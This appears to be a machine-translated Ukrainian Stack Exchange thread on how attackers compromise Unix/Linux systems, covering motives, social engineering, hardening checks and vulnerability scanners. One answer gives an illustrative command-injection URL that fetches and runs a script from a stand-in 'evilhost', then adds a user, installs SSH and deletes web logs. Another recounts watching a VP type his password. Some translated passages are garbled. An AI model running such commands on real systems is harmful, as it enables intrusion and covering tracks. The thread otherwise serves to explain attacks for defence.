Як саме люди «тріскають» системи Unix / Linux?


13

Ні я не шукаю, щоб стати зломщиком чи чимось подібним, але я намагаюся з'ясувати процес (більше з точки зору програмування).

Тож я припускаю, що (здогадуючись) головна мета зловмисника - отримати кореневий доступ для встановлення будь-якого програмного забезпечення (або сценарію), він написаний правильно? а може бути, встановити власний модуль ядра (що з будь-якої причини хибно) Як саме людина займається цим?

Я знаю, що люди використовують сценарії для перевірки на подвиги ...... але я не бачу як, і я також точно не бачу, що вони роблять з ними, як тільки їх знаходять? Чи перевіряють вони версії на відомі подвиги ......, а потім одного разу вони знайдуть .......

Я знаю, це все звучить дуже ново. але я просто намагаюся скласти уявлення про те, як це працює, оскільки я знаю, що системи Linux / Unix повинні бути дуже безпечними, але я намагаюся зрозуміти, як хтось навіть піде (процес) отримання кореневого доступу.

Відповіді:


14

Існує незліченна кількість причин, з яких можна спробувати порушити безпеку системи. У широких штрихах:

  • Використовувати ресурси системи (наприклад, надсилати спам, ретрансляційний трафік)
  • Для отримання інформації про систему (наприклад, отримання даних про клієнтів з сайту електронної комерції).
  • Щоб змінити інформацію в системі (наприклад, стерти веб-сайт, посадити неправдиву інформацію, видалити інформацію)

Тільки іноді ці речі вимагають кореневого доступу. Наприклад, введення неправильного пошукового запиту на веб-сайті, який не належним чином очищує введення користувача, може виявити інформацію з бази даних сайту, наприклад, імена користувачів / паролі, адреси електронної пошти тощо.

Багато комп'ютерних злочинців - це просто «сценарії дітлахів»; тобто люди, які насправді не розуміють безпеку систем і можуть навіть не кодувати, але використовують подвиги, написані іншими. Зазвичай їх досить легко захищати, оскільки вони не мають можливості адаптуватися; вони обмежуються використанням відомих уразливостей. (Хоча вони можуть використовувати ботнети - великі групи компрометованих комп'ютерів - що може означати небезпеку DDoS-атак.)

Для кваліфікованого нападника процес іде приблизно так:

  1. З’ясуйте, що є ціллю і чого варто. Безпека - підтримка її або компрометування - є розрахунком ризику / винагороди. Чим ризикованіше і дорожче буде щось, тим більш притаманною є винагорода, щоб зробити напад вартим.

  2. Розгляньте всі рухомі частини, які впливають на будь-яку мету - наприклад, якщо ви хочете надсилати спам, ви можете напасти на поштовий сервер, але може бути більше сенсу звернутися за іншою службою, орієнтованою на мережу, як все, що ви насправді Необхідно використовувати мережеве з'єднання цілі. Якщо ви хочете користувальницьких даних, ви почнете переглядати сервер баз даних, веб-сервер і веб-сервер, який має можливість доступу до нього, систему, яка створює резервні копії тощо.

    Ніколи не знижуйте людський фактор. Забезпечити комп'ютерну систему набагато простіше, ніж забезпечити поведінку людини. Змусити когось розкрити інформацію, яку вони не повинні, або запустити код, який він не повинен, є простим і ефективним. В коледжі я виграв ставку з другом, який включав вторгнення в його корпоративну мережу, захищений від uber, надягаючи розкритий наряд і наткнувшись на пустотливого віце-президента - технічна експертиза мого друга значно перевищувала мою, але нічого не перешкоджало потужності 17yo співавтором у короткій спідниці!

    Якщо вам не вистачає сиськів, подумайте про те, щоб запропонувати безглузду гру чи щось, що ідіоти завантажуватимуть для розваги, не враховуючи, що це насправді може робити.

  3. Подивіться на кожну визначену вами частину та подумайте, що вона може робити, і як це можна змінити, щоб робити те, що ви хочете - можливо, довідковий відділ часто скидає паролі для користувачів, не належним чином ідентифікуючи абонента, і викликає їх звучання плутати буде отримати вам чужий пароль. Можливо, webapp не перевіряє те, що розміщено у вікні пошуку, щоб переконатися, що він не є кодом, перш ніж вставляти його у функцію, яку він працює. Компроміси з безпеки зазвичай починаються з чогось навмисно викритого, що може бути змушене вести себе так, як воно не повинно.


3
після прочитання мені все ще цікаво, яку інформацію міг би надати вичерпний віце-президент у випадковій розмові, яка б виграла вам цю ставку.
Джастін Кресс

1
@justin: Я сказав, що я був там, щоб побачити $ friend re: шкільний проект, але він був поза офісом. Я дозволив віце-президенту показати мені деякі дрібниці щодо комп'ютерної системи, і він занадто відвернувся, дивлячись на мене, щоб помітити, що я спостерігав за його введенням пароля. Він мав законний доступ до накопичувача, до якого я повинен був отримати доступ, щоб виграти ставку.
HedgeMage

1
Я згоден повністю, соціальне інженерія набагато простіше, ніж купа переповнення. вам дуже сподобається цей archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga

"Якщо вам не вистачає сиськів, подумайте запропонувати безглузду гру чи щось таке" .. серйозно? Ви ставите їх обох в одну категорію ефективності ?! :)
Roopesh Shenoy

2
"Подумайте, пропонувати безглузду гру чи щось, що ідіоти завантажуватимуть для розваги ..." - А-а-а, така ідея, що стоїть за Farmville та Evony.
Шадур

4

Найбільшим фактором є тип доступу, який має зловмисник. Якщо у них є фізичний доступ, то вас накрутили. Якщо ви переймаєтесь лише віддаленим доступом, то це залежить від того, що у вас працює; хороша конфігурація - це все. На стандартному сервері Linux, ймовірно, будуть працювати ftp, ssh, http, https та mysql. SSH захищено, але я не дозволяв би входити в систему, і гарний пароль для кожного облікового запису є обов'язковим. FTP потрапляє або пропускається. Якщо у вас є VSFTP і chroot ваших користувачів, то це дуже безпечно. Кілька інших версій відомі вразливості. HTTP, ймовірно, стане вашим найбільш вразливим районом. Ваша найбільша турбота тут - це те, що виконує файли в системі або завантажує файли в систему. Введення SQL ДУЖЕ важко, якщо ваш веб-сайт виконаний на PHP5. Група студентів із безпеки та я кілька тижнів пробували ін'єкції SQL на несанкціонованому веб-сайті PHP5 і не мали успіху. У MySQL не забудьте скористатися некористувальним користувачем та обмежте його для входу лише з вашого сервера Apache.

Є кілька плагінів Firefox для перевірки вразливості веб-сайту: отримати доступ до мене, xss мені та sql ввести мене

Деякі великі речі, які я завжди робив би на змаганнях, щоб забезпечити безпеку:

  • netstat - перевірити відкриті порти та з'єднання,
  • w - хто ввійшов, як довго,
  • Перевірте журнали на вхід,
  • історія bash для виконаних команд,
  • ps - виконання команд,
  • /etc/passwd для додаткових користувачів
  • /etc/sudoers для доступу до судо.

Зазвичай після отримання доступу зловмисник хоче отримати корінь. Наразі існує кілька вразливих місць ескалації привілеїв, які дозволять нормальному користувачеві отримати root. Після цього вони хочуть відкрити його для подальшого доступу шляхом додавання користувачів та відкриття задніх дверей.

Ось веб-сайт з кіберзахисту моєї школи. Не соромтеся озирнутися і задати деякі питання: https://thislink.doesntexist.org/


2

Захищеність системи залежить від навичок адміністратора (адміністраторів), тому сказати "Системи Linux / Unix повинні бути дуже безпечними" начебто неправильно ":)

Тепер перейдемо до злому ... Є такий інструмент, який називається " сканер вразливості ", як Nessus, який шукає речі, які потрібно експлуатувати. Є тисяча речей, які можуть помилитися в складній системі, наприклад, неправильно налаштований сервер Apache, щоб дозволити завантаження довільних файлів у довільні місця. Вони можуть слугувати трампліном для подальших подвигів, таких як отримання доступу до бази даних або облікового запису електронної пошти, з якого паролі можна відновити за допомогою функції "забути пароль".

Іноді хак - це отримати доступ і зробити щось зло. Іноді люди роблять це заради забави (що, до речі, нерозумно).

І ось історія відомого хака, що стався зовсім недавно. Я думаю, це буде наочно для всіх, хто дивиться на безпеку! Щоб процитувати підсумок подвигів:

Веб-додаток із недоліками введення SQL та незахищеними паролями. Неправильно обрані паролі. Паролі, які були повторно використані. Сервери, які дозволили автентифікацію на основі пароля. Системи, які не були виправлені. І вражаюча готовність роздавати облікові дані по електронній пошті, навіть коли людина, яку просили, повинна зрозуміти, що щось було.


1

Існує так багато векторів нападу, що вони знаходяться поблизу нескінченності. Одне з найпростіших концептуально - зробити програму загальнодоступною та сказати, що вона робить щось інше, ніж це є насправді. Дайте користувачам дружні вказівки з sudoсамого початку і спостерігайте за тим, як світ бум. Це відбувається щодня із програмами із закритим джерелом, оскільки жодна людина заздалегідь не може перевірити її роботу, як це спостерігається, наприклад, із компакт-дисків Sony .

Ви також можете спробувати надіслати спеціальні рядки віддаленому хосту. На прикладі високого рівня скажіть, що у вас є веб-сервер, на якому працює якесь програмне забезпечення, і що програмне забезпечення запускає частину URL-адреси як команду, не виходячи з нього або іншим чином не переконуючись, що воно не може заподіяти ніякої шкоди. Надішліть щось подібне http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Розшифрована, рядок пошуку стає . Якщо це запускається, script.sh запускається з тими ж правами доступу, що і користувач веб-сервера, щоб робити що-небудь на машині. Іноді люди дозволяють їм працювати як корінь для «зручності», в цьому випадку синонім лінощі та / або неосвіченості. Навіть якщо він не запускається як root, цей скрипт може потім виконати тисячі тестів для інших отворів у встановленому програмному забезпеченні та запустити іншу команду, якщо її знайде. Останньою командою може бути, наприкладfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, отримати доступ до SSH та видалити сліди пролому.

[Команди, очевидно, спрощені і, ймовірно, не працюватимуть у будь-якому випадку. YMMV]

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.